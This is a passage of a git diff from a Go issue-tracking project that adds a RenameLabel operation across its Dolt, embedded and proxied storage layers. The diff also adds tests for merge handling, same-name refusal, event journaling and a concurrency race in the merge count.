%v", err) + } + if renamed != 1 { + t.Errorf("renamed = %d, want 1", renamed) + } + if merged != 0 { + t.Errorf("merged = %d, want 0", merged) + } + if len(ids) != 1 || ids[0] != wisp.ID { + t.Errorf("ids = %v, want [%s]", ids, wisp.ID) + } + + labels, err := store.GetLabels(ctx, wisp.ID) + if err != nil { + t.Fatalf("GetLabels(wisp): %v", err) + } + if len(labels) != 1 || labels[0] != "final-tag" { + t.Errorf("GetLabels(wisp) = %v, want [final-tag]", labels) + } +} + +// TestRenameLabel_ZeroCarrierIsHonestNoOp confirms renaming a label nothing +// carries is a clean no-op: no error, both counts 0, nothing written. +func TestRenameLabel_ZeroCarrierIsHonestNoOp(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + renamed, merged, ids, err := store.RenameLabel(ctx, "never-used-label", "irrelevant", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 0 || merged != 0 { + t.Errorf("renamed=%d merged=%d, want 0, 0", renamed, merged) + } + if len(ids) != 0 { + t.Errorf("ids = %v, want empty", ids) + } +} + +// TestRenameLabel_OverLongNewLabelRefused confirms the same over-length +// refusal AddLabel applies (ErrFieldTooLong) is enforced before any write, +// consistent across every label-mutating entry point. +func TestRenameLabel_OverLongNewLabelRefused(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + issue := &types.Issue{ID: "rename-overlong", Title: "OverLong", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("create: %v", err) + } + if err := store.AddLabel(ctx, issue.ID, "short", "tester"); err != nil { + t.Fatalf("add label: %v", err) + } + + tooLong := make([]byte, types.MaxFieldLen+1) + for i := range tooLong { + tooLong[i] = 'x' + } + _, _, _, err := store.RenameLabel(ctx, "short", string(tooLong), "tester") + if err == nil { + t.Fatal("expected ErrFieldTooLong, got nil") + } + + labels, err := store.GetLabels(ctx, issue.ID) + if err != nil { + t.Fatalf("GetLabels: %v", err) + } + if len(labels) != 1 || labels[0] != "short" { + t.Errorf("GetLabels = %v, want unchanged [short] (refusal must write nothing)", labels) + } +} + +// TestRenameLabel_SameNameRefused confirms that renaming a label to itself is +// refused with ErrRenameLabelSameName rather than treated as a no-op merge. +// Without the refusal, RenameLabelInTx's merge branch treats every carrier of +// oldLabel as already carrying newLabel (they are the same string): the +// INSERT IGNORE no-ops and the unconditional DELETE FROM ... WHERE label = ? +// then removes every row for that label, wiping it instead of leaving it +// alone. Covers both label planes (labels and wisp_labels) so a fix scoped to +// only one plane still fails this test. +func TestRenameLabel_SameNameRefused(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + issue := &types.Issue{ID: "rename-samename-issue", Title: "Issue", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("create issue: %v", err) + } + if err := store.AddLabel(ctx, issue.ID, "dup", "tester"); err != nil { + t.Fatalf("add label issue: %v", err) + } + + wisp := &types.Issue{ + ID: "rename-samename-wisp", Title: "Wisp", Status: types.StatusOpen, + Priority: 1, IssueType: types.TypeTask, Ephemeral: true, + } + if err := store.CreateIssue(ctx, wisp, "tester"); err != nil { + t.Fatalf("create wisp: %v", err) + } + if err := store.AddLabel(ctx, wisp.ID, "dup", "tester"); err != nil { + t.Fatalf("add label wisp: %v", err) + } + + renamed, merged, ids, err := store.RenameLabel(ctx, "dup", "dup", "tester") + if !errors.Is(err, issueops.ErrRenameLabelSameName) { + t.Fatalf("RenameLabel(same name) err = %v, want ErrRenameLabelSameName", err) + } + if renamed != 0 || merged != 0 || ids != nil { + t.Errorf("RenameLabel(same name) = (%d, %d, %v), want (0, 0, nil)", renamed, merged, ids) + } + + labels, err := store.GetLabels(ctx, issue.ID) + if err != nil { + t.Fatalf("GetLabels(issue): %v", err) + } + if len(labels) != 1 || labels[0] != "dup" { + t.Errorf("GetLabels(issue) = %v, want unchanged [dup] (self-rename must write nothing)", labels) + } + + wispLabels, err := store.GetLabels(ctx, wisp.ID) + if err != nil { + t.Fatalf("GetLabels(wisp): %v", err) + } + if len(wispLabels) != 1 || wispLabels[0] != "dup" { + t.Errorf("GetLabels(wisp) = %v, want unchanged [dup] (self-rename must write nothing on the wisp plane either)", wispLabels) + } +} + +// TestRenameLabel_SameNameAfterTrimRefused confirms the same-name refusal +// compares after trimming: incidental leading/trailing whitespace on one side +// must not mask what is otherwise the identical wipe-out shape. +func TestRenameLabel_SameNameAfterTrimRefused(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + issue := &types.Issue{ID: "rename-samename-trim", Title: "Issue", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("create issue: %v", err) + } + if err := store.AddLabel(ctx, issue.ID, "dup", "tester"); err != nil { + t.Fatalf("add label: %v", err) + } + + _, _, _, err := store.RenameLabel(ctx, "dup", " dup ", "tester") + if !errors.Is(err, issueops.ErrRenameLabelSameName) { + t.Fatalf("RenameLabel(\"dup\", \" dup \") err = %v, want ErrRenameLabelSameName", err) + } + + labels, err := store.GetLabels(ctx, issue.ID) + if err != nil { + t.Fatalf("GetLabels: %v", err) + } + if len(labels) != 1 || labels[0] != "dup" { + t.Errorf("GetLabels = %v, want unchanged [dup]", labels) + } +} diff --git a/internal/storage/dolt/labels.go b/internal/storage/dolt/labels.go index b12db1cce..16106e454 100644 --- a/internal/storage/dolt/labels.go +++ b/internal/storage/dolt/labels.go @@ -78,3 +78,27 @@ func (s *DoltStore) GetIssuesByLabel(ctx context.Context, label string) ([]*type } return s.GetIssuesByIDs(ctx, ids) } + +// RenameLabel renames a label across every issue and wisp that carries it, +// delegating the sweep to issueops.RenameLabelInTx and owning only the +// dolt-specific commit step. The commit targets the fixed "events"/"labels" +// pair, mirroring AddLabel/RemoveLabel; doltAddAndCommit's own +// HasStagedChanges guard skips it when a wisp-only rename left those tables +// untouched. +func (s *DoltStore) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + err = s.withCircuitWrite(ctx, func(ctx context.Context) error { + if txErr := s.withRetryTx(ctx, func(tx *sql.Tx) error { + var innerErr error + renamed, merged, ids, innerErr = issueops.RenameLabelInTx(ctx, tx, oldLabel, newLabel, actor) + return innerErr + }); txErr != nil { + return txErr + } + if renamed == 0 { + return nil + } + return s.doltAddAndCommit(ctx, []string{"events", "labels"}, + fmt.Sprintf("bd: label rename '%s' -> '%s' (%d issues)", oldLabel, newLabel, renamed)) + }) + return renamed, merged, ids, err +} diff --git a/internal/storage/domain/db/label.go b/internal/storage/domain/db/label.go index cbe76ed26..4c8d91b4b 100644 --- a/internal/storage/domain/db/label.go +++ b/internal/storage/domain/db/label.go @@ -91,6 +91,18 @@ func (r *labelSQLRepositoryImpl) Insert(ctx context.Context, issueID, label, act return issueops.RecordVersionInTx(ctx, r.runner, issueID, actor) } +// RenameLabel sweeps both label planes (labels and wisp_labels) for oldLabel, +// reusing issueops.RenameLabelInTx rather than restating its SQL shape here: +// r.runner satisfies issueops.DBTX structurally, so this is the exact same +// merge logic, same-name refusal (issueops.ErrRenameLabelSameName) and +// EventLabelRenamed emission the direct DoltStore/EmbeddedDoltStore route +// uses. That identity, not merely a matching shape, is what keeps this route +// and the direct one from drifting the way runLabelRenameProxiedServer's +// hand-rolled add-then-remove fan-out used to. +func (r *labelSQLRepositoryImpl) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + return issueops.RenameLabelInTx(ctx, r.runner, oldLabel, newLabel, actor) +} + func (r *labelSQLRepositoryImpl) Delete(ctx context.Context, issueID, label, actor string, opts domain.LabelOpts) error { if issueID == "" { return fmt.Errorf("db: LabelSQLRepository.Delete: issueID must not be empty") diff --git a/internal/storage/domain/db/label_usecase_test.go b/internal/storage/domain/db/label_usecase_test.go index d4b858cfb..7dff0ef84 100644 --- a/internal/storage/domain/db/label_usecase_test.go +++ b/internal/storage/domain/db/label_usecase_test.go @@ -1,10 +1,21 @@ package db import ( + "errors" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" ) func (s *testSuite) TestLabelUseCase() { + s.Run("RenameLabel", func() { + s.Run("EmptyOldLabelReturnsError", s.lucRenameLabelEmptyOld) + s.Run("EmptyNewLabelReturnsError", s.lucRenameLabelEmptyNew) + s.Run("SameNameRefused", s.lucRenameLabelSameName) + s.Run("EmitsOneRenamedEventPerIssue", s.lucRenameLabelEmitsRenamedEvent) + s.Run("MergesOnCollisionAcrossBothPlanes", s.lucRenameLabelMergesAcrossPlanes) + }) s.Run("RemoveLabel", func() { s.Run("EmptyIDReturnsError", s.lucRemoveLabelEmptyID) s.Run("EmptyLabelReturnsError", s.lucRemoveLabelEmptyLabel) @@ -210,3 +221,108 @@ func (s *testSuite) lucSetWispLabelsDiffs() { s.Require().NoError(err) s.Equal([]string{"add", "keep"}, wispLabels) } + +func (s *testSuite) lucRenameLabelEmptyOld() { + _, _, _, err := s.labelUseCase().RenameLabel(s.Ctx(), "", "new", "tester") + s.Require().Error(err) +} + +func (s *testSuite) lucRenameLabelEmptyNew() { + _, _, _, err := s.labelUseCase().RenameLabel(s.Ctx(), "old", "", "tester") + s.Require().Error(err) +} + +// lucRenameLabelSameName confirms the proxied-server route inherits the +// storage layer's ErrRenameLabelSameName refusal (both routes reach +// issueops.RenameLabelInTx) rather than wiping the label the way the merge +// branch would if a self-rename fell through unrefused. +func (s *testSuite) lucRenameLabelSameName() { + s.seedIssueRow("bd-luc-rn-same") + uc := s.labelUseCase() + s.Require().NoError(uc.AddLabel(s.Ctx(), "bd-luc-rn-same", "dup", "tester")) + + _, _, _, err := uc.RenameLabel(s.Ctx(), "dup", "dup", "tester") + s.Require().Error(err) + s.Require().True(errors.Is(err, issueops.ErrRenameLabelSameName), "want ErrRenameLabelSameName, got %v", err) + + labels, err := uc.GetLabels(s.Ctx(), "bd-luc-rn-same") + s.Require().NoError(err) + s.Equal([]string{"dup"}, labels, "self-rename must write nothing") +} + +// lucRenameLabelEmitsRenamedEvent is the regression test for the divergence +// finding: runLabelRenameProxiedServer used to fan a rename out into a +// per-issue AddLabel + RemoveLabel pair, journaling label_added/label_removed +// instead of one label_renamed. Assert both halves of the fix: the renamed +// event exists with the right old/new values, and the two-event shape's rows +// do not appear beyond the one label_added the initial seed itself produced. +func (s *testSuite) lucRenameLabelEmitsRenamedEvent() { + s.seedIssueRow("bd-luc-rn-evt") + uc := s.labelUseCase() + s.Require().NoError(uc.AddLabel(s.Ctx(), "bd-luc-rn-evt", "old-name", "tester")) + + renamed, merged, ids, err := uc.RenameLabel(s.Ctx(), "old-name", "new-name", "tester") + s.Require().NoError(err) + s.Equal(1, renamed) + s.Equal(0, merged) + s.Equal([]string{"bd-luc-rn-evt"}, ids) + + labels, err := uc.GetLabels(s.Ctx(), "bd-luc-rn-evt") + s.Require().NoError(err) + s.Equal([]string{"new-name"}, labels) + + var renamedCount int + s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = ? AND old_value = ? AND new_value = ?", + "bd-luc-rn-evt", string(types.EventLabelRenamed), "old-name", "new-name", + ).Scan(&renamedCount)) + s.Equal(1, renamedCount, "expected exactly one label_renamed event") + + var addedCount, removedCount int + s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = ?", + "bd-luc-rn-evt", string(types.EventLabelAdded), + ).Scan(&addedCount)) + s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = ?", + "bd-luc-rn-evt", string(types.EventLabelRemoved), + ).Scan(&removedCount)) + s.Equal(1, addedCount, "the only label_added row must be the initial seed's, not a second one from a rename-as-add") + s.Equal(0, removedCount, "rename must not journal label_removed (that was the pre-fix proxied shape)") +} + +// lucRenameLabelMergesAcrossPlanes exercises the merge-on-collision path +// across BOTH label planes in one rename, matching the direct route's +// TestRenameLabel_Merge/TestRenameLabel_WispSwept coverage in +// internal/storage/dolt/label_rename_test.go. +func (s *testSuite) lucRenameLabelMergesAcrossPlanes() { + uc := s.labelUseCase() + + s.seedIssueRow("bd-luc-rn-only-old") + s.Require().NoError(uc.AddLabel(s.Ctx(), "bd-luc-rn-only-old", "wip", "tester")) + + s.seedIssueRow("bd-luc-rn-both") + s.Require().NoError(uc.AddLabel(s.Ctx(), "bd-luc-rn-both", "wip", "tester")) + s.Require().NoError(uc.AddLabel(s.Ctx(), "bd-luc-rn-both", "in-progress", "tester")) + + s.seedWispRow("bd-luc-rn-wisp") + s.Require().NoError(uc.AddWispLabel(s.Ctx(), "bd-luc-rn-wisp", "wip", "tester")) + + renamed, merged, ids, err := uc.RenameLabel(s.Ctx(), "wip", "in-progress", "tester") + s.Require().NoError(err) + s.Equal(3, renamed) + s.Equal(1, merged) + s.ElementsMatch([]string{"bd-luc-rn-only-old", "bd-luc-rn-both", "bd-luc-rn-wisp"}, ids) + + labels, err := uc.GetLabels(s.Ctx(), "bd-luc-rn-only-old") + s.Require().NoError(err) + s.Equal([]string{"in-progress"}, labels) + + labels, err = uc.GetLabels(s.Ctx(), "bd-luc-rn-both") + s.Require().NoError(err) + s.Equal([]string{"in-progress"}, labels, "no duplicate, no leftover wip") + + wispLabels, err := uc.GetWispLabels(s.Ctx(), "bd-luc-rn-wisp") + s.Require().NoError(err) + s.Equal([]string{"in-progress"}, wispLabels) +} diff --git a/internal/storage/domain/label.go b/internal/storage/domain/label.go index 16afe4f41..16421b2f3 100644 --- a/internal/storage/domain/label.go +++ b/internal/storage/domain/label.go @@ -16,6 +16,11 @@ type LabelSQLRepository interface { ListByIssueIDs(ctx context.Context, issueIDs []string, opts LabelOpts) (map[string][]string, error) DeleteAllForIDs(ctx context.Context, ids []string, opts LabelOpts) (int, error) CountAllForIDs(ctx context.Context, ids []string, opts LabelOpts) (int, error) + // RenameLabel renames oldLabel to newLabel across every issue and wisp + // that carries it - both label planes, not the one LabelOpts would + // otherwise pick, since a rename by definition is not scoped to one id's + // plane. See domain.LabelUseCase.RenameLabel for the return contract. + RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) } type LabelUseCase interface { @@ -28,6 +33,19 @@ type LabelUseCase interface { GetLabelsForIssues(ctx context.Context, issueIDs []string) (map[string][]string, error) InheritFromParent(ctx context.Context, childID, parentID, actor string, skipExisting []string) ([]string, error) + // RenameLabel renames oldLabel to newLabel across every issue and wisp + // that carries it - the proxied-server counterpart of + // DoltStore/EmbeddedDoltStore.RenameLabel, carrying the same merge + // semantics (an issue that already carries newLabel keeps it and drops + // the stale oldLabel row instead of erroring) and emitting one + // EventLabelRenamed per touched issue, matching the direct route event + // for event, rather than an add+remove pair. renamed is the count of + // issues and wisps that carried oldLabel; merged is the subset that + // already had newLabel; ids lists every touched id, both planes + // together. oldLabel and newLabel equal after trimming is refused with + // issueops.ErrRenameLabelSameName. + RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) + AddWispLabel(ctx context.Context, wispID, label, actor string) error RemoveWispLabel(ctx context.Context, wispID, label, actor string) error AddWispLabels(ctx context.Context, wispID string, labels []string, actor string) error @@ -69,6 +87,24 @@ func (u *labelUseCaseImpl) add(ctx context.Context, id, label, actor string, use return nil } +// RenameLabel is not id-scoped like the verbs around it - a rename sweeps +// both label planes for every carrier of oldLabel, so it validates the two +// label arguments rather than an issue id and delegates straight to the +// repository, which owns the merge semantics and the same-name refusal. +func (u *labelUseCaseImpl) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + if oldLabel == "" { + return 0, 0, nil, fmt.Errorf("rename label: oldLabel must not be empty") + } + if newLabel == "" { + return 0, 0, nil, fmt.Errorf("rename label: newLabel must not be empty") + } + renamed, merged, ids, err = u.labelRepo.RenameLabel(ctx, oldLabel, newLabel, actor) + if err != nil { + return 0, 0, nil, fmt.Errorf("rename label %s -> %s: %w", oldLabel, newLabel, err) + } + return renamed, merged, ids, nil +} + func (u *labelUseCaseImpl) RemoveLabel(ctx context.Context, issueID, label, actor string) error { return u.remove(ctx, issueID, label, actor, false) } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 90086664c..1562cf0c7 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -156,6 +156,7 @@ go_test( "journal_retention_test.go", "journal_truncation_test.go", "label_list_all_benchmark_test.go", + "label_rename_test.go", "lease_replica_test.go", "lease_test.go", "lenient_gate_warning_test.go", diff --git a/internal/storage/embeddeddolt/label_rename_test.go b/internal/storage/embeddeddolt/label_rename_test.go new file mode 100644 index 000000000..dce2a6142 --- /dev/null +++ b/internal/storage/embeddeddolt/label_rename_test.go @@ -0,0 +1,184 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestRenameLabel gives EmbeddedDoltStore.RenameLabel the same first-party +// coverage AddLabel/RemoveLabel already carry (bda-c77s sibling finding: the +// embedded impl had zero tests while DoltStore.RenameLabel has a dedicated +// suite). The deep merge/wisp/event semantics live in issueops and are pinned +// by internal/storage/dolt/label_rename_test.go against the same shared +// implementation; these cases pin the embedded WIRING - the store method +// reaches RenameLabelInTx and reports its counts through withConn. +func TestRenameLabel(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + t.Run("basic", func(t *testing.T) { + te := newTestEnv(t, "rl") + ctx := t.Context() + + for _, id := range []string{"rl-a", "rl-b"} { + issue := &types.Issue{ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := te.store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + if err := te.store.AddLabel(ctx, id, "backend", "tester"); err != nil { + t.Fatalf("AddLabel(%s): %v", id, err) + } + } + + renamed, merged, ids, err := te.store.RenameLabel(ctx, "backend", "server", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 2 { + t.Errorf("renamed = %d, want 2", renamed) + } + if merged != 0 { + t.Errorf("merged = %d, want 0", merged) + } + if len(ids) != 2 { + t.Errorf("ids = %v, want 2 entries", ids) + } + for _, id := range []string{"rl-a", "rl-b"} { + labels, err := te.store.GetLabels(ctx, id) + if err != nil { + t.Fatalf("GetLabels(%s): %v", id, err) + } + if len(labels) != 1 || labels[0] != "server" { + t.Errorf("GetLabels(%s) = %v, want [server]", id, labels) + } + } + }) + + t.Run("merge", func(t *testing.T) { + te := newTestEnv(t, "rlm") + ctx := t.Context() + + issue := &types.Issue{ID: "rlm-both", Title: "Both", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := te.store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("CreateIssue: %v", err) + } + for _, l := range []string{"wip", "in-progress"} { + if err := te.store.AddLabel(ctx, "rlm-both", l, "tester"); err != nil { + t.Fatalf("AddLabel(%s): %v", l, err) + } + } + + renamed, merged, _, err := te.store.RenameLabel(ctx, "wip", "in-progress", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 1 { + t.Errorf("renamed = %d, want 1", renamed) + } + if merged != 1 { + t.Errorf("merged = %d, want 1", merged) + } + labels, err := te.store.GetLabels(ctx, "rlm-both") + if err != nil { + t.Fatalf("GetLabels: %v", err) + } + if len(labels) != 1 || labels[0] != "in-progress" { + t.Errorf("GetLabels = %v, want exactly [in-progress]", labels) + } + }) + + t.Run("zero-carrier-no-op", func(t *testing.T) { + te := newTestEnv(t, "rlz") + ctx := t.Context() + + renamed, merged, ids, err := te.store.RenameLabel(ctx, "nobody-has-this", "target", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 0 || merged != 0 || len(ids) != 0 { + t.Errorf("renamed=%d merged=%d ids=%v, want all zero/empty", renamed, merged, ids) + } + }) + + t.Run("same-name-refused", func(t *testing.T) { + te := newTestEnv(t, "rls") + ctx := t.Context() + + _, _, _, err := te.store.RenameLabel(ctx, "x", "x", "tester") + if !errors.Is(err, issueops.ErrRenameLabelSameName) { + t.Errorf("err = %v, want ErrRenameLabelSameName", err) + } + }) +} + +// TestRenameLabelMintsOneVersionPerTouchedBead pins the versioned-history law +// (#6135 FR-1/FR-2/FR-5) for a rename. Every bead whose label set the rename +// changed mints exactly one version row - a plain rename and a merge alike, +// since both drop oldLabel. A bead that never carried oldLabel mints none, a +// rename nobody carries mints none, and current_revision stays equal to the +// row count. issueops' TestEveryBeadMutatorMintsOrIsExempt only proves +// statically that RenameLabelInTx reaches RecordVersionInTx; this is its +// runtime twin, on the same probe TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion uses. +func TestRenameLabelMintsOneVersionPerTouchedBead(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "rlver") + ctx := t.Context() + p := newVersionProbe(t, te, "rlver") + + plain := p.kit.IssuePrefix + "-plain" + merge := p.kit.IssuePrefix + "-merge" + untouched := p.kit.IssuePrefix + "-untouched" + seed := map[string][]string{ + plain: {"old"}, + merge: {"old", "new"}, + untouched: {"other"}, + } + for _, id := range []string{plain, merge, untouched} { + if err := p.kit.CreateIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("CreateIssue(%s): %v", id, err) + } + for _, label := range seed[id] { + if err := te.store.AddLabel(ctx, id, label, "seed"); err != nil { + t.Fatalf("AddLabel(%s, %s): %v", id, label, err) + } + } + } + np, nm, nu := p.rows(plain), p.rows(merge), p.rows(untouched) + + renamed, merged, _, err := te.store.RenameLabel(ctx, "old", "new", "actor") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 2 || merged != 1 { + t.Fatalf("RenameLabel counts = (renamed %d, merged %d), want (2, 1)", renamed, merged) + } + np = p.expect("rename (plain)", plain, np, 1) + nm = p.expect("rename (merge)", merge, nm, 1) + nu = p.expect("rename (untouched)", untouched, nu, 0) + for _, id := range []string{plain, merge} { + if labels := labelsOf(p.latestState(id)); len(labels) != 1 || labels[0] != "new" { + t.Fatalf("rename: latest durable_state labels for %s = %v, want [new]", id, labels) + } + } + + // The no-op shape: nothing carries oldLabel any more. + renamed, _, _, err = te.store.RenameLabel(ctx, "old", "new", "actor") + if err != nil { + t.Fatalf("RenameLabel (no carriers): %v", err) + } + if renamed != 0 { + t.Fatalf("RenameLabel (no carriers): renamed = %d, want 0", renamed) + } + p.expect("no-op rename (plain)", plain, np, 0) + p.expect("no-op rename (merge)", merge, nm, 0) + p.expect("no-op rename (untouched)", untouched, nu, 0) + for _, id := range []string{plain, merge, untouched} { + p.revisionMatchesRows(id) + } +} diff --git a/internal/storage/embeddeddolt/labels.go b/internal/storage/embeddeddolt/labels.go index 8e4c88167..8f3cd9179 100644 --- a/internal/storage/embeddeddolt/labels.go +++ b/internal/storage/embeddeddolt/labels.go @@ -31,3 +31,15 @@ func (s *EmbeddedDoltStore) RemoveLabel(ctx context.Context, issueID, label, act return issueops.RemoveLabelInTx(ctx, tx, "", "", issueID, label, actor) }) } + +// RenameLabel renames a label across every issue and wisp that carries it. +// The embedded store has no separate dolt-commit step (unlike DoltStore): +// withConn's own transaction commit is the durable boundary here. +func (s *EmbeddedDoltStore) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + err = s.withConn(ctx, true, func(tx *sql.Tx) error { + var innerErr error + renamed, merged, ids, innerErr = issueops.RenameLabelInTx(ctx, tx, oldLabel, newLabel, actor) + return innerErr + }) + return renamed, merged, ids, err +} diff --git a/internal/storage/hook_decorator.go b/internal/storage/hook_decorator.go index 3062f20a9..c0342252e 100644 --- a/internal/storage/hook_decorator.go +++ b/internal/storage/hook_decorator.go @@ -327,6 +327,19 @@ func (h *HookFiringStore) RemoveLabel(ctx context.Context, issueID, label, actor return nil } +// RenameLabel renames a label across every issue and wisp that carries it, +// firing on_update for each touched id. +func (h *HookFiringStore) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + renamed, merged, ids, err = h.inner.RenameLabel(ctx, oldLabel, newLabel, actor) + if err != nil { + return renamed, merged, ids, err + } + for _, id := range ids { + h.fireHookByID(ctx, hooks.EventUpdate, id) + } + return renamed, merged, ids, nil +} + // ── Comment mutations ─────────────────────────────────────────────── // AddIssueComment adds a comment and fires on_update. diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index eddfe312a..bebf4e08d 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -155,6 +155,7 @@ go_test( "journal_prune_test.go", "journal_truncation_test.go", "journal_vocabulary_test.go", + "label_rename_merged_count_test.go", "lease_replica_test.go", "metadata_test.go", "public_claim_test.go", diff --git a/internal/storage/issueops/journal_completeness_test.go b/internal/storage/issueops/journal_completeness_test.go index 8f33f4106..7d2519968 100644 --- a/internal/storage/issueops/journal_completeness_test.go +++ b/internal/storage/issueops/journal_completeness_test.go @@ -105,6 +105,7 @@ var mutationEntryPoints = []string{ "RemoveDependencyInTx", "AddLabelInTx", "RemoveLabelInTx", + "RenameLabelInTx", "UpdateIssueIDInTx", "AddIssueCommentInTx", "ImportIssueCommentInTx", diff --git a/internal/storage/issueops/label_rename_merged_count_test.go b/internal/storage/issueops/label_rename_merged_count_test.go new file mode 100644 index 000000000..b2062ccb4 --- /dev/null +++ b/internal/storage/issueops/label_rename_merged_count_test.go @@ -0,0 +1,130 @@ +package issueops + +import ( + "context" + "testing" + + "github.com/DATA-DOG/go-sqlmock" +) + +// These tests pin the bda-lbjv contract: the merge count a rename reports is +// MEASURED from what the INSERT IGNORE actually affected, never predicted +// from a snapshot read taken earlier in the transaction. +// +// The race they encode: an issue carries oldLabel; a concurrent +// AddLabel(issue, newLabel) COMMITS after this transaction's snapshot is +// established but before its INSERT IGNORE executes. Under REPEATABLE READ +// the insert sees the committed row and no-ops (correct - that IS the +// merge), but a merge count computed from the earlier snapshot read reports +// 0. The data was always fine; the count was schedule-dependent. sqlmock +// scripts exactly that observable: the SELECT-visible state says "no +// carrier of newLabel", the insert's rows-affected says one row already +// existed. A count derived from rows-affected reads 1; the old +// check-then-insert shape read 0 against this same script. + +// expectRenameEventScript scripts the per-issue event mint that follows the +// label sweep (InsertDerivedEvent: same-content SELECT + INSERT). The +// journal half (RecordEventInTx) no-ops because neither the context key nor +// the per-tx registration enables it here. +func expectRenameEventScript(mock sqlmock.Sqlmock, times int) { + for i := 0; i < times; i++ { + mock.ExpectQuery(`SELECT id FROM events`). + WillReturnRows(sqlmock.NewRows([]string{"id"})) + mock.ExpectExec(`INSERT INTO events`). + WillReturnResult(sqlmock.NewResult(0, 1)) + } +} + +func TestRenameLabelInPlane_ConcurrentAddLabelStillCountsMerge(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + mock.ExpectBegin() + // Snapshot read: i1 carries oldLabel. (No read of newLabel's carriers + // exists any more - the fix removed it; nothing here scripts one, so a + // regression reintroducing the check-then-insert SELECT fails loudly on + // an unexpected query.) + mock.ExpectQuery(`SELECT issue_id FROM labels WHERE label = \?`). + WithArgs("old"). + WillReturnRows(sqlmock.NewRows([]string{"issue_id"}).AddRow("i1")) + // The concurrently-committed (i1, new) row makes the INSERT IGNORE a + // no-op: zero rows affected. + mock.ExpectExec(`INSERT IGNORE INTO labels`). + WithArgs("i1", "new"). + WillReturnResult(sqlmock.NewResult(0, 0)) + // The delete is ID-SCOPED (label AND issue_id IN (...)): an unrestricted + // `WHERE label = ?` would let a current-read engine remove a row a + // concurrent AddLabel(oldLabel) committed to an issue OUTSIDE the + // snapshot - deleting a label the sweep never renamed, counted or + // journaled. sqlmock's WithArgs is the pin: a regression back to the + // unrestricted form fails on the argument mismatch. + mock.ExpectExec(`DELETE FROM labels WHERE label = \? AND issue_id IN`). + WithArgs("old", "i1"). + WillReturnResult(sqlmock.NewResult(0, 1)) + expectRenameEventScript(mock, 1) + + ctx := context.Background() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("BeginTx: %v", err) + } + renamed, merged, ids, err := renameLabelInPlane(ctx, tx, "labels", "events", "old", "new", "tester") + if err != nil { + t.Fatalf("renameLabelInPlane: %v", err) + } + if renamed != 1 { + t.Errorf("renamed = %d, want 1", renamed) + } + if merged != 1 { + t.Errorf("merged = %d, want 1 (the concurrently-committed row IS a merge; a snapshot-read count reports 0 here)", merged) + } + if len(ids) != 1 || ids[0] != "i1" { + t.Errorf("ids = %v, want [i1]", ids) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Errorf("unmet expectations: %v", err) + } +} + +func TestRenameLabelInPlane_CleanRenameCountsZeroMerges(t *testing.T) { + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", 